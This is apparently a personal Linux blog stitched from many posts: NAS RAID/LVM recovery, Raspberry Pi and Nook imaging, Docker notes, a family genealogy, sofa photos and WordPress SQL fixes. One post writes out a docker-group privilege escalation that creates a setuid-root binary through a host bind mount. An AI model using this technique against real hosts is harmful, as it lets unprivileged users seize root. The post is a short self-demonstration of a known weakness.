Lenovo ix2-dl corrupted firmware

What a pain in the $%^&*( ass.

Lenovo has no concept of using a md5 checksum on a file to confirm its integrity before you flash it and end up with a corrupted NAS like me.

AND to top it off, Lenovo support only offers a destructive way to reflash the NAS, double %^&*()^& in the ass.

So, initially I thought the drives were set up as a zfs disk set – installed the zfs needed debs on my debian jessie system only to find out all the lenovo disk set is is a linux md raid set, so  (pulling this from my bash history)

Disk /dev/sdd: 1.8 TiB, 2000398934016 bytes, 3907029168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 276C4C51-BFA8-4E33-AB51-FC7033AA6D56

Device Start End Sectors Size Type
/dev/sdd1 65536 42008575 41943040 20G Microsoft basic data
/dev/sdd2 42008576 3907028991 3865020416 1.8T Microsoft basic data

Once I figured out it was just a md linux raid set, it was easy peasy to import :

root@dell:~# mdadm –assemble –run /dev/md1 /dev/sdd2
mdadm: /dev/md1 has been started with 1 drive (out of 2).

# DOH! no lvm2 installed on the system
root@dell:~# mount /dev/md1 /mnt
mount: unknown filesystem type ‘LVM2_member’
root@dell:~# pvscan
-su: pvscan: command not found
root@dell:~# apt-get install lvm2

pvscan, vgscan, and lvscan bought it LV into devicemapper

root@dell:~# pvscan
PV /dev/md1 VG bad2c48_vg lvm2 [1.80 TiB / 0 free]
Total: 1 [1.80 TiB] / in use: 1 [1.80 TiB] / in no VG: 0 [0 ]
root@dell:~# vgscan
Reading all physical volumes. This may take a while…
Found volume group “bad2c48_vg” using metadata type lvm2
root@dell:~# lvscan
ACTIVE ‘/dev/bad2c48_vg/lv3140cc7e’ [1.80 TiB] inherit

Mounted it up,
root@dell:~# sudo mount /dev/bad2c48_vg/lv3140cc7e /mnt

bingo – now I can find 1.8TB worth of space elsewhere to rsync all that %^&*( data off
so I can follow Lenovo’s destructive NAS rebuild.

Update 07/01/2017
I got an email from a guy who had a 4 drive Lenovo PX4-300R NAS with a RAID 5 array set up.
He also had very little experience with Linux.

This is the rough process that worked for him

1. First, download ubuntu and burn it to a usb drive or cd  http://ubuntu.com and then get it on to a USB drive. https://wiki.ubuntu.com/Win32DiskImager/iso2usb

2. pull your drives from the NAS one at a time, I am not sure if there is anything that designates the first disk, second disk, etc, I think left to right in mine if I remember correctly but make sure to label them.

3. prepare the PC you will be booting from, connect the 4 sata cables/drives in order or at least first guess.   boot up to the flash drive — note, if you are playing with a UEFI machine you may need to disable secure boot.  ubuntu will start automatically and should pop up asking if you want to try or install. click “try”
4. right click on the desktop and open terminal. commands below are prefixed by # or $ for readability, don’t type the # or $
ubuntu@ubuntu:~$ sudo su – 
5. Get a list of the disks :
     root@ubuntu:~# fdisk -l
You should see your 4 identical disks, should be obvious based on their size :

I had 2 x 1.8TB drives, set up in a raid1 and since the disks are complete mirrors of each other, I could access the data with just a single disk.

My disk in question showed up like this :

Disk /dev/sdd: 1.8 TiB, 2000398934016 bytes, 3907029168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 276C4C51-BFA8-4E33-AB51-FC7033AA6D56

Device Start End Sectors Size Type
/dev/sdd1 65536 42008575 41943040 20G Microsoft basic data
/dev/sdd2 42008576 3907028991 3865020416 1.8T Microsoft basic data

Make a note of the devices that correlate to your NAS drives … your first disk (could be your windows disk if you leave your windows drive connected), it may be /dev/sda, the second is /dev/sdb, /dev/sdc, … /dev/sdd  etc.  the usb drive might also be a /dev/sd* drive

6.  This guy reported back to me that mdadm was not included on the default ubuntu livecd , so install it

# apt install mdadm
7. Assemble the raid – Using /dev/sdd from my blog….
/dev/sdd1 above is I’m guessing something specific to the lenovo set up
/dev/sdd2 above is there the data lives.
So once you identify your drives, for example here I will assume /dev/sdb, /dev/sdc, /dev/sdd and /dev/sde … you should see the 2 partitions like /dev/sdd1 and /dev/sdd2 above for each (/dev/sdb1 and /dev/sdb2, /dev/sdc1 and /dev/sdc2, /dev/sdd1 and /dev/sdd2, /dev/sde1 and /dev/sde2

The “2” partition should all be used in the linux md array … so something like this :

root@ubuntul:~# mdadm –assemble –run /dev/md1 /dev/sdb2 /dev/sdc2 /dev/sdd2 /dev/sde2 

If this works, you should get something like :

mdadm: /dev/md1 has been started with 4 drives (out of 5).

8. If not, the disks may be in the wrong order.  You *may* be able to just tweak the command and give them in reverse order. ala

root@ubuntul:~# mdadm –assemble –run /dev/md1 /dev/sde2 /dev/sdd2 /dev/sdc2 /dev/sdb2 
You want to shoot for the “mdadm: /dev/md1 has been started….” output
If you can get there, you should be able to use the following to scan in the logical volume(s) off the RAID5
9.  Load in the lvols
root@dell:~# pvscan
PV /dev/md1 VG bad2c48_vg lvm2 [1.80 TiB / 0 free]
Total: 1 [1.80 TiB] / in use: 1 [1.80 TiB] / in no VG: 0 [0 ]
root@dell:~# vgscan
Reading all physical volumes. This may take a while…
Found volume group “bad2c48_vg” using metadata type lvm2
root@dell:~# lvscan 
ACTIVE ‘/dev/bad2c48_vg/lv3140cc7e’ [1.80 TiB] inherit
^^^^^^^^^^^^^^^^^^^^^^^^^^^ – this is your logical volume name
You could realistically get multiple volume groups and logical volumes, depending on how the nas slices up the array
Mounted it up, -o ro mounts as “read only”  – so you’re not changing anything on it … just to copy off.
root@dell:~# mount -o ro /dev/bad2c48_vg/lv3140cc7e /mnt
then you can use this command to list you your files :
root@ubuntu:~# ls -la /mnt
10. From here he was able to plug in another USB drive to recover his data to, then using the “Files” icon on the side bar, copy from /mnt to the USB drive.

Updating a Raspberry Pi 2 boot disk to a Raspberry Pi 3

This is just the real basics as I figured out and a work in progress.  I have not really figured out yet what wireless network driver that needs to be added to a Pi2 image to make it see the embedded Pi3 wireless network, but using a wired ethernet it at least gives me the option to capture some code off a distributed Pi2 image so it can be dropped onto a fresh install of 2016-05-27-raspian-jessie.

So in the example, I am using the ProxyMagic image for a Raspberry Pi 2 and want to drop the code onto a newer Pi3 Raspbian image.

  1. Download the latest raspbian image – I am using the debian jessie version dated May 27th 2016 from https://www.raspberrypi.org/downloads/raspbian/
  2. Unpack the .zip to expand to the .img file 2016-05-27-raspbian-jessie.img
  3. View the disk contents – this shows 2 partitions, the 63MB MSDOS boot partition and the 3.7GB linux partition
    $> fdisk -lu 2016-05-27-raspbian-jessie.img

    Disk 2016-05-27-raspbian-jessie.img: 3.8 GiB, 4019191808 bytes, 7849984 sectors 
    Units: sectors of 1 * 512 = 512 bytes 
    Sector size (logical/physical): 512 bytes / 512 bytes 
    I/O size (minimum/optimal): 512 bytes / 512 bytes 
    Disklabel type: dos 
    Disk identifier: 0x14c20151 
    Device                          Boot  Start     End   Sectors  Size Id   Type 
    2016-05-27-raspbian-jessie.img1        8192  137215    129024   63M  c    W95 FAT32 (LBA)
    2016-05-27-raspbian-jessie.img2      137216 7849983   7712768  3.7G 83    Linux
  4. Copy this off to a 8GB microSD card  – my sdcard came in as /dev/sdd – you can check your dmesg output after inserting your card to get the device.
    $> sudo dd if=2016-05-27-raspbian-jessie.img of=/dev/sdd
  5. As soon as the dd completes, my linux file manager (nemo) refreshed with the “boot” partition and a 3.7GB Volume.  I can click on each to mount them in userspace – ie, the mount as /media/glaw/boot and /media/glaw/<some big long UID>
  6. In a terminal window, I did a cd to the sdcard ext4 mount  and wiped everything out
    $> cd /media/glaw/fc254b57-8fff-4f96-9609-ea202d871acf
    $> sudo rm -rf *
    $> sudo sync
  7. Now to mount up the ProxyMagic image to copy the files over.  I’ve read about how you can calculate the total sectors offset based on the start # and the sector size and then specify the offset when doing a loop back mount, but found that kpartx does the trick very well.
    $> kpartx -v -a ProxyMagic-RPI-v1.img
    add map loop2p1 (253:0): 0 114688 linear /dev/loop2 8192
    add map loop2p2 (253:1): 0 5662720 linear /dev/loop2 122880
  8. Up pops an authentication window asking for sudo rights to mount the new boot file system – it should mount as /media/glaw/boot1 and then click on the 2.9GB volume to mount.S05NLP~U
  9. Locate the other

Sofa pictures

As shown, it looks like there is a gap in the back, but the 2 main sections were not “joined” in these pictures – there is a metal brace that slides into the bottom of the sections to join them – no gap when its fully assembled

looking at sofa, front left corner where the cats have scratched it.

whole thing assembled takes up about 9 ft x 9 ft 2 main pieces are about 7.5 ft x 3 ft x 3ft

back left corner, also some cat scratches

right back corner, didn’t realize it came out this blurry – similar to the other back corner.

front right arm

not sure what the stain is from, there’s a couple other small stains here and there.

center cushion – I do not believe the marks are stains – just from something sitting on the cushion while stored in the garage

Open Sourcing my Hackintosh ;)

Running a HP SPP mini tower with Yosemite installed and finally getting tired of finder and iTerm. Don’t get me wrong, I like iTerm, but from my linux background, my fingers just know terminator so much better 🙂

I tried installing terminator via brew but it did not seem very stable – I opened up a 4-up terminator view and after the icon spun for 5 minutes, it crashed.

Fink seems to be much more stable and integrates its programs right into XQuartz where the brew installed version popup’d a separate python window.

1. install fink:  bash script to do it all for ya https://raw.githubusercontent.com/fink/scripts/master/srcinstaller/Install%20Fink.tool

2. fink install terminator

3. fink install nautilus

4. Setup dbus for OSX :

sudo launchctl load -w /sw/share/dbus/launchd/org.finkproject.dbus-session.plist

launchctl load -w /sw/share/dbus/launchd/org.finkproject.dbus-session.plist


Screen Shot 2016-03-20 at 8.17.54 PM

Serious docker root exploit

I was amazed at how easy this was.  I found a couple different websites that lead me to this, giving credit where credit is due

1. http://yatb.giacomodrago.com/en/post/10/shutdown-linux-system-from-within-php-script.html

2. http://reventlov.com/advisories/using-the-docker-command-to-root-the-host

So putting 1 and 2 together.  I have my docker install running as the “docker” user, so no “sudo” required.  All I did (as docker) is :

1. Create the following snippet of C code shutdown_suid.c :
docker $> vi shutdown_suid.c
include <stdlib.h>
include <unistd.h>

int main() {
system(“/sbin/shutdown -h now”); /* change this to the actual location of shutdown */
return 0;

2. Compile it :docker $> gcc -o shutdown_setuid shutdown_setuid.c

3. Exploit docker to mount the current directory and set rebuild_setuid to be owned as root and turn on the setuid permissions :
docker $> docker run -v $PWD:/stuff -t dockerdev/rhel /bin/bash -c ‘chown root.root /stuff/reboot_setuid && chmod a+s /stuff/reboot_setuid’

4. docker $> ls -la shutdown_setuid
-rwsrwsr-x. 1 root root 6623 May 29 11:54 shutdown_setuid

Law Family

Not sure how accurate this is. Comments appreciated.

Descendants of John Law

Generation No. 1

1. John1 Law1 was born about 1635 in Scotland, and died January 04, 1707/08 in Concord, Middlesex, MA. He married Lydia Draper1 March 05, 1659/60 in Concord, Middlesex, MA1. She was born September 11, 1641 in Concord, Middlesex, MA, and died January 06, 1732/33 in Concord, Middlesex, MA.

Child of John Law and Lydia Draper is:

+ 2 i. Samuel2 Law, born May 28, 1680 in Concord, Middlesex, MA; died April 29, 1727 in Groton, New London, CT.

Generation No. 2

2. Samuel2 Law (John1)1 was born May 28, 1680 in Concord, Middlesex, MA, and died April 29, 1727 in Groton, New London, CT. He married Martha Wigglesworth1 December 15, 1708 in Concord, Middlesex, MA1. She was born December 21, 1683 in Malden, Middlesex, MA, and died December 04, 1719 in Stonington, New London, CT.

Child of Samuel Law and Martha Wigglesworth is:

+ 3 i. Samuel3 Law, born November 15, 1714 in Plainfield, Windham, CT; died after May 16, 1764.

Generation No. 3

3. Samuel3 Law (Samuel2, John1) was born November 15, 1714 in Plainfield, Windham, CT, and died after May 16, 1764. He married Mary Langrell February 24, 1743/44 in Goshen Parish, Lebanon, New London, CT1. She was born July 26, 1723 in Plymouth, Litchfield, CT.

Child of Samuel Law and Mary Langrell is:

+ 4 i. Samuel4 Law, born 1744 in Lebanon, New London, CT; died 1777 in Valley Forge, Chester, PA.

Generation No. 4

4. Samuel4 Law (Samuel3, Samuel2, John1) was born 1744 in Lebanon, New London, CT, and died 1777 in Valley Forge, Chester, PA1. He married Miriam Munger1. She was born about 1753 in Lebanon, New London, CT.

Child of Samuel Law and Miriam Munger is:

+ 5 i. William5 Law, born about 1770 in CT.

Generation No. 5

5. William5 Law (Samuel4, Samuel3, Samuel2, John1) was born about 1770 in CT.

Child of William Law is:

+ 6 i. Asahel W.6 Law, born September 1805 in Greene county, NY; died March 16, 1871 in Big Hollow, Greene, NY.

Generation No. 6

6. Asahel W.6 Law (William5, Samuel4, Samuel3, Samuel2, John1) was born September 1805 in Greene county, NY, and died March 16, 1871 in Big Hollow, Greene, NY1. He married Cynthia Wade. She was born October 1805 in Conesville, Schoharie, NY, and died October 10, 1891.

Child of Asahel Law and Cynthia Wade is:

+ 7 i. Thomas Sutton7 Law, born about 1832; died October 27, 1897 in Utica, Oneida, NY; buried in Butler-Savannah Cemetery,Savannah, Wayne, NY.

Generation No. 7

7. Thomas Sutton7 Law (Asahel W.6, William5, Samuel4, Samuel3, Samuel2, John1) was born About 1832, and died October 27, 1897 in Utica, Oneida, NY; buried in Butler-Savannah Cemetery,Savannah, Wayne, NY. He married Mary Eveline Chapin2 About 1860. She was born about 1833, and died 1870 in Butler, Wayne, NY3.

More About Thomas Sutton Law:

Military service: 1861, Civil War

Children of Thomas Law and Mary Chapin are:

8 i. Emma8 Law, born about 18614.

9 ii. Arbella Law, born about 18634.

+ 10 iii. Arthur E. Law, born April 1866 in Butler, Wayne, NY; died January 01, 1909 in Orwell, Oswego, NY; buried in South Butler, Wayne, NY.

Generation No. 8

10. Arthur E.8 Law (Thomas Sutton7, Asahel W.6, William5, Samuel4, Samuel3, Samuel2, John1)5 was born April 1866 in Butler, Wayne, NY6,7, and died January 01, 1909 in Orwell, Oswego, NY; buried in South Butler, Wayne, NY8. He married (1) Lizzie Sanford About 1887 in NY9. She was born 1867 in NY, and died 1900 in Butler, Wayne, NY; buried in Butler-Savannah Cemetery, Savannah, Wayne, NY10. He married (2) Martha Viola “Mattie” Cook11 About 1905 in NY, daughter of George Cook and Charlotte McKie. She was born August 08, 1876 in Orwell, Oswego, NY12,13, and died April 12, 1961 in Syracuse, Onondaga, NY; buried in New Haven, NY.

Notes for Arthur E. Law:

Arthur’s first wife died in 1900. By 1905, he had married Martha Cook and they were living in Butler, Wayne, NY. They moved to Orwell, Martha’s (aka Mattie) hometown by 1906. The following account of Arthur’s untimely death appeared in the local newspaper.

The Pulaski Democrat, Wednesday, 06 January 1909

From the village of Orwell:

On New Year’s day a bad accident happened in the northeastern part of this town, by which Arthur Law, a son-in-law of George Cook, lost his life. Mr. Law stood on a wood rack, resting the butt of his gun on the bottom boards. As they were riding along a sudden jar caused the gun to slip through a hole in the rack. In Mr. Law’s attempt to pull the gun up through the hole, the contents of both barrels was discharged in his abdomen. Dr. L. F. Hollis of Sandy Creek and Dr. G. W. Nelson were hastily summoned but the wounded man died at ten o’clock that night.

He is survived by his wife, Mrs. Mattie Cook Law, two children and relatives in Wayne county, where he resided until three years ago. Mr. Law who was about forty-two years old, was a grandson of the famous manufacturer of Law’s bluing. The remains were taken to South Butler Monday for burial.

More About Arthur E. Law:

Occupation: 1905, Manufacturing bluing

Residence: 1905, Butler, Wayne, NY with wife Martha

Children of Arthur Law and Lizzie Sanford are:

11 i. Inez H.9 Law, born December 1890.

12 ii. Bessie E. Law, born February 1893.

Child of Arthur Law and Martha Cook is:

+ 13 i. George9 Law, born about 1906 in Orwell, Oswego, NY.

Generation No. 9

13. George9 Law (Arthur E.8, Thomas Sutton7, Asahel W.6, William5, Samuel4, Samuel3, Samuel2, John1) was born about 1906 in Orwell, Oswego, NY14. He marriedElizabeth Riffle McConnell15 1930, daughter of Harry McConnell and Ruth Dunning. She was born July 04, 1913 in Geneva, Ontario, NY, and died January 13, 1980 in Syracuse, Onondaga, NY.

Children of George Law and Elizabeth McConnell are:

14 i. George H.10 Law, born November 12, 1930 in Syracuse, Onondaga, NY; died September 28, 1966 in Syracuse, Onondaga, NY; buried in Onondaga Valley Cemetery16,17. He married Dorothy Logue 1949 in Syracuse, Onondaga, NY.

15 ii. Robert Charles Law, born January 27, 1932 in Syracuse, Onondaga, NY18; died November 30, 1996 in Syracuse, Onondaga, NY.

Notes for Robert Charles Law:

Death date from SSN Death Index. Confirmed by obit from Dad’s files.

16 iii. Ann Elizabeth Law, born September 24, 1934 in Syracuse, Onondaga, NY; died January 22, 2008 in Kirkville, Onondaga, NY19. She married Albert Sardella about 1956 in Florida; born about 1930.

17 iv. Sally Ruth Law, born July 29, 1937 in Syracuse, Onondaga, NY. She married Paul Stott; born about 1934.


1. IGI.

2. 1870 census.

3. IGI.

4. 1870 census.

5. Butler-Savannah Cemetery, Savannah, Wayne, NY, middle initial “E.”

6. 1870 census, Butler, Wayne, NY.

7. 1900 census, Butler, Wayne, NY.

8. The Pulaski Democrat, Pulaski, Oswego co., NY, 6 Jan 1909, report of accidental death by gunshot wounds; town of Orwell.

9. 1900 census.

10. Butler-Savannah Cemetery, Savannah, Wayne, NY.

11. Obituary, The Post Standard, 13 Apr 1961, p. 7.

12. 1930 census, Syracuse, Onondaga, NY.

13. Obituary.

14. 1930 census, Syracuse, Onondaga, NY.

15. Bailey, Lois McConnell, sister of Elizabeth.

16. Social Security Death Index.

17. Obituary, Syracuse Herald Journal, 29 Sep 1966.

18. Law, George.

19. Social Security Death Index.


Remaster a Linux install CD to allow installation on a Macbook

Turns out this was pretty easy to get going on my Macbook 2006 model to install Xubuntu.

On my fedora computer I installed isomaster (yum install isomaster), then opened the Xubuntu.iso I downloaded with isomaster.

glaw@fedora ~ $ isomaster xubuntu-14.04-desktop-amd64.iso 

Highlight the EFI folder, ad then click the icon 5th icon on the bottom (I think its supposed to be a trashcan.

Then file -> Save As and save a new copy of the ISO. 

You will end up with a slightly smaller iso:

glaw@fedora ~ $ ls -la x.iso xubuntu-14.04-desktop-amd64.iso 
-rw——- 1 glaw users 953790464 Jun  4 20:22 x.iso
-rw-r–r– 1 glaw users 957349888 May  6 10:21 xubuntu-14.04-desktop-amd64.iso

Now burn the x.iso with your favorite burner. 

glaw@fedora ~ $ basero x.iso

Once your have burned this off successfully, insert into your Macbook, boot up while pressing the alt/option key and select the “Windows” Icon (the mac thinks this is a boot camp install).

This other website will help in getting your Mac setup for the new OS : 



Docker UCLUG 5/13/2014

Awesome meeting last night with my fellow geeks at UCLUG  – Many Thanks to Tim Fowler – https://twitter.com/roobixx


The topic was Docker … Docker is based on the concept of containers .. no necessarily the LXE containers (akin to Solaris zones), although the docker containers will run within LXE containers, basically docker is described as chroot on steroids.

The minimum basis for a docker container is the bare minimum libraries required to run a Linux distribution (probably version close to a net install).  So I downloaded the base fedora docker image – about 250 MB … it booted up in docker in about 3 seconds.

Screenshot - 05142014 - 06:41:13 PM

The idea is that you start with one of these base images, yum install all required packages to run your app.  For example, for a simple wordpress website container, you may install apache, php, mysql.  You do a docker commit to save your changes.   The changes get saved as a separate layer.  

So my understanding of the internals of docker is that when you boot a docker image, the base image plus all layers get joined together via unionfs  http://en.wikipedia.org/wiki/UnionFS, and then the linux system invokes a chroot to that unionfs mount and invokes the normal system startup as if it was a stand alone machine.  Almost a virtual machine, but it does not run a separate kernel.  Essentially you can pull down  the base ubuntu image and run Ubuntu linux on top of Fedora.  In addition, there are settings that control CPU/Memory affinity for each container as well as some SDN (software defined networking) components that allow you to control how one container can communicate with other containers and/or back to/from the host machine.  So you can expose port 80/443 running in a container to the host machine (and out to the network)

Unlike a virtual machine where you may want to duplicate a base “machine” to use it as the basis for several different applications, you can build several docker containers, all with their own unique purposes, based on the same fedora base image.


Unlike a virtual machine clone where you are duplicating the total OS, with docker, CONTAINER_A and CONTAINER_B  (as well as all other containers built off the same base image) all reference back to the same base fedora image and then just apply their own individual layers representing the deltas.

That’s it in a nutshell

Turning your Nook Color into an Android 4.1 Jellybean tablet

Converting a nook color into a Jellybean 4.1 tablet.  I think it took me longer to write this up than to actually do it 🙂

Done on Linux Mint – bash commands are showing in bold italics

  1. grab a microsd card – they say that Sandisk brand, at least Class 4 works best.
    I have done this with both a 4GB and 8GB card, both worked, you can go larger – I am not sure if there is a max capacity supported by Android or the nook
  2. Download the boot image – http://forum.xda-developers.com/showthread.php?p=32921666#post32921666
    Look for the attachment to the main article – generic-sdcard-v1.3-CM7-9-10-larger-Rev5.zip
    I get a md5sum of : a2f15e48a5bb858db8ec02ccedbcb5b7
  3. glaw@mint:~$ mkdir nook
  4. glaw@mint:~/nook$ wget http://download.cyanogenmod.com/get/jenkins/17892/cm-10-20130114-NIGHTLY-encore.zip  
  5. glaw@mint:~/nook$ wget http://goo.im/gapps/gapps-jb-20121011-signed.zip
  6. glaw@mint:~/nook$ md5sum cm*.zip gapp*.zip
    3cc2124c8f91e133ec28d438ccd5204f  cm-10-20130114-NIGHTLY-encore.zip
    4e9e7ec3c22b0b3471bd05d62b8a659d  gapps-jb-20121011-signed.zip
  7. glaw@mint:~/nook$ unzip generic-sdcard-v1.3-CM7-9-10-larger-Rev5.zip
    Archive:  generic-sdcard-v1.3-CM7-9-10-larger-Rev5.zip
      inflating: generic-sdcard-v1.3-CM7-9-10-larger-Rev5.img
  8. glaw@mint:~/nook$ sudo dd if=generic-sdcard-v1.3-CM7-9-10-larger-Rev5.img of=/dev/sde bs=1M
    [sudo] password for glaw: 
    298+1 records in
    298+1 records out
    312560640 bytes (313 MB) copied, 69.6386 s, 4.5 MB/s
  9. eject the card and reinsert – I just disconnected my card reader and reconnected
  10. Mount the cd card – this is a 300 mb vfat parition

    glaw@mint:~/nook$ sudo mount /dev/sde1 /mnt
    glaw@mint:~/nook$ls -la /mnt

    total 8112
    drwxr-xr-x  2 root root    4096 Dec 31  1969 .
    drwxr-xr-x 27 root root    4096 Jan 18 00:13 ..
    -rwxr-xr-x  1 root root   14504 Feb 15  2011 MLO
    -rwxr-xr-x  1 root root  289328 May 29  2011 u-boot.bin
    -rwxr-xr-x  1 root root 2756116 May 14  2011 uImage
    -rwxr-xr-x  1 root root 5234466 Oct 17 19:41 uRamdisk
  11. glaw@mint:~/nook$ sudo cp cm*.zip gapp*.zip /mnt
    glaw@mint:~/nook$ls -la /mnt

    total 253116
    drwxr-xr-x  2 root root      4096 Dec 31  1969 .
    drwxr-xr-x 27 root root      4096 Jan 18 00:13 ..
    -rwxr-xr-x  1 root root 158172246 Jan 19 10:14 cm-10-20130114-NIGHTLY-encore.zip
    -rwxr-xr-x  1 root root  92706064 Jan 19 10:15 gapps-jb-20121011-signed.zip
    -rwxr-xr-x  1 root root     14504 Feb 15  2011 MLO
    -rwxr-xr-x  1 root root    289328 May 29  2011 u-boot.bin
    -rwxr-xr-x  1 root root   2756116 May 14  2011 uImage
    -rwxr-xr-x  1 root root   5234466 Oct 17 19:41 uRamdisk
  12. glaw@mint:~/nook$ sudo umount /mnt
  13. eject the card,
  14. With the nook powered off, insert into the nook’s microsd slot and then power on.  Sit back and relax for 4 and a half minutes :
  15. repower on the nook and welcome to Android Jellybean.


WordPress – importing images from non-wordpress images directory

Working on a freelance site and somehow a bunch of images got uploaded to /images/2012/09/…  what the heck? I cannot even figure out how that happened.

Trying this new “smush.it” plugin and guess what, it only works off images inside the media manager.

After looking around for a couple hours, I finally figured it all out.  DISCLAIMER:  Before trying this, make sure you back up your database.  PHPMyAdmin has an “Export” option that will let you do this.

  1. First is a plug-in called “add from server” – http://wordpress.org/extend/plugins/add-from-server/.  This plugin gives you a file manager type interface to browser your website directories, so I pointed it at /images and let it import from there.  I wish it was recursive, but no such luck.  Lucky for me, I only had to drill down into /images/2012/09/ and import from there as well as my top level /images directory.  Importing gives you the option of using the original file date, so it copies the files to /wp-content/uploads/2012/09 and maintains that same date based hierarchy.  From the /images directory I just imported those ones with today’s date, so they ended up in /wp-content/uploads/2013/01/…
  2. After importing I had to refresh some of my MySQL skills.  The trick was to search the database for src=”/images/…” and update that to be src=”/wp-content/uploads/…”.  It took me a couple tries to get it right.  I started with a SELECT statement to get the syntax correct.
    SELECT post_content,replace(post_content,’src=”/images’,’src=”/wp-content/uploads’) FROM `wp_posts` WHERE post_content like ‘%src=”/images%’;
    This let me verify the substitution was happening the way I wanted it to, then it was just a matter of rewrite this as an UPDATE query (after I BACKED UP MY DATABASE!), this was the query:update wp_posts set post_content=replace(post_content,’src=”/images’,’src=”/wp-content/uploads’)  WHERE post_content like ‘%src=”/images%’;